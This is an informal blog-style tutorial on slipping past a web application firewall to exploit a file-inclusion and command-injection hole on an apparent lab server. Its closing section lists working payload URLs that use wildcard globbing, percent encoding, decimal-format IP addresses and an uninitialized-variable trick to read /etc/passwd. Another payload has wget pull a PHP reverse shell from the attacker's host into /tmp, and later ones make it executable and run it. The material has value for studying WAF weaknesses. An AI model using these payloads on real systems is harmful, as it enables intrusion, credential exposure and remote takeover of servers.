WAF Bypass
I'm playing around the other day and I find what looks to be a server which is vulnerable to Local File Inclusion (LFI). I used to work for a company a long time ago and when something would break, I would declare: "Bad code". LFI is bad coding or perhaps I should say that it's a short sighted developer who doesn't anticipate the harm that can be caused by calling a file directly with something like: http://example.com/index.php?file=SOMEFILENAME
Seems harmless enough until someone comes along and decides to change the url to: http://example.com/index.php?file=/etc/passwd
Now all of the sudden -- it doesn't seem all that harmless. So that pretty much gets you up to speed and I assume that if you were searching for WAF Bypass, you already know this and probably more. So as I said, I'm playing around and I discover:
And I'm all like... giddy up! Let's go for /etc/passwd:
Which to me is the equivalent of:
And so I step back and I want to make sure I think I have what I have:
That works so this is definitely LFI. I try another command, ls:
Ok, so there's some filtering going on.
Nmap has a script that detects the presence of a WAF:nmap -p80 --script http-waf-detect http://192.168.86.246
But I've not had much luck with it. However, I have had good success with wafw00f:
So there you have it.
There's a mechanism in place that's defending the web server using a set of generic rules. For example, we ask for /etc/passwd:
And the rules deny that action because /etc/passwd is in a rule somewhere.
Google "ModSecurity Core Rule Set", you will be enlightened.
The first time I saw this trick, it was used for SQL injection:
I know you're not as easily impressed as I am but the first time I saw this trick, I was probably not dissimilar to a caveman seeing fire for the first time.
This trickery with question marks is called "globbing patterns" which specify sets of filenames with wildcard characters. Think of: ls *.php except that we're using question marks instead of asterisks. This doesn't exist just in the browser, it's origination is in the file system:
The trick here is to make sure the only match is what you're seeking. For example, you wouldn't be able to call /tmp with: ls -al /??? because /etc (among others) is also three characters in length. But you could call:
/e??
/??c
/?t?
What you have now is enough to do some damage with this specific server but let's take a look at some other bypass techniques that aren't limited to WAFs.
How about percent encoding mixed with globbing patterns:
Let's see if we can reach out externally with wget:
With our handler setup:
Excellent!
Another trick --
Typically when we see IP addresses, we see them in this format: xxx.xxx.xxx.xxx or with a real world example: 192.168.0.10
But we can convert IP addresses into long decimal format and they work just the same.
Below, I convert my IP address to long decimal format and then I ping the address:
It responds like you would expect.
With the same wget example but using the long decimal format:
With our handler setup:
Excellent, again!
This back and forth between calling command by full path, or not full path, or with globbing is becoming tedious. Another technique we can use involves the following:
;<space><uninitialized var><command>
For example:
www.google.com;+$u+cat+/e?c/p?sswd
We are providing a value for file= and following that is what we see above. The $u is the uninitialized variable and following that we can execute commands as long as there isn't a rule that specifically triggers on what we're asking -- like /etc/passwd.
Each situation is unique and it takes a bit of trial and error. For this specific server, here's a few tweaks for enumeration and then the path to getting a shell.
A couple of methods for reading /etc/passwd:http://192.168.86.246/test.php?file=/e?c/?asswd
http://192.168.86.246/test.php?file=%2fe?c%2f?asswd
A couple of methods for testing outbound connectivity:http://192.168.86.246/test.php?file=|/u?r/b?n/w?et%20192.168.86.99:443
http://192.168.86.246/test.php?file=|/u?r/b?n/w?et%203232257635:443
We download a shell in .txt file format because you can shell your box otherwise. We're saving the file in /tmp:http://192.168.86.246/test.php?file=|/u?r/b?n/w?et%20-O%20/tmp/rshell443.php%20192.168.86.99:8085/rshell443.txt
We then perform an ls of /tmp:http://192.168.86.246/test.php?file=www.google.com;+$u+ls+-al%20/t?p
We see that our file exists, we give it executable permissions:http://192.168.86.246/test.php?file=www.google.com;+$u+chmod+777+/t?p/rshell443.php
We execute our shell:http://192.168.86.246/test.php?file=www.google.com;+$u+php+/t?p/rshell443.php
And that's it, we're on this box. Boxes may vary, void where prohibited, offer not valid to family members and/or those living in the same household.
All kidding aside, the globbing trick is one of the cooler things I've seen. I honestly don't know how long it's been around but it wasn't that long ago that I first learned of it and most people seemed to be blown away by how easy it is to work around mechanisms that would typically prevent attacks.
I hope this helps you as much as it did for me.